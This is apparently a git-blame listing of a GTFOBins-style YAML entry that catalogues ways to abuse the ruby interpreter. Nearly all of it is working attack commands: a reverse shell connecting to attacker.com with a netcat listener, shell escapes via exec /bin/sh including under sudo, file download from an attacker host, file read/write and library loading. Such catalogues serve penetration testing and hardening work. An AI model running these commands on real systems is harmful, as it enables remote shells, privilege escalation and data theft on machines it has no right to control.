2018-05-21 21:14:41 +02:00
|
|
|
---
|
|
|
|
functions:
|
2018-05-25 15:30:02 +02:00
|
|
|
execute-interactive:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: ruby -e 'exec "/bin/sh"'
|
2018-07-04 20:26:52 +02:00
|
|
|
reverse-shell-interactive:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
|
|
|
|
code: |
|
|
|
|
export RHOST=attacker.com
|
|
|
|
export RPORT=12345
|
|
|
|
ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
2018-05-22 22:22:20 +02:00
|
|
|
upload:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: Serve files in the local folder running an HTTP server. This requires version 1.9.2 or later.
|
|
|
|
code: |
|
|
|
|
export LPORT=8888
|
|
|
|
ruby -run -e httpd . -p $LPORT
|
2018-06-17 21:16:43 +02:00
|
|
|
download:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: Fetch a remote file via HTTP GET request.
|
|
|
|
code: |
|
|
|
|
export RHOST=attacker.com
|
|
|
|
export RPORT=12345
|
|
|
|
export RFILE=/file_to_get
|
|
|
|
export LFILE=file_to_save
|
|
|
|
ruby -e 'require "net/http"; Net::HTTP.start(ENV["RHOST"], ENV["RPORT"]) { |http| r = http.get(ENV["RFILE"]); open(ENV["LFILE"], "wb") { |file| file.write(r.body) } }'
|
2018-05-28 19:25:55 +02:00
|
|
|
file-write:
|
2018-08-20 14:35:43 +02:00
|
|
|
- code: ruby -e 'File.open("file_to_write", "w+") { |f| f.write("DATA") }'
|
2018-07-04 20:26:52 +02:00
|
|
|
file-read:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: ruby -e 'puts File.read("file_to_read")'
|
2018-05-21 21:14:41 +02:00
|
|
|
load-library:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
|
2018-07-04 20:26:52 +02:00
|
|
|
sudo-enabled:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: sudo ruby -e 'exec "/bin/sh"'
|
2018-05-25 01:10:39 +02:00
|
|
|
---
|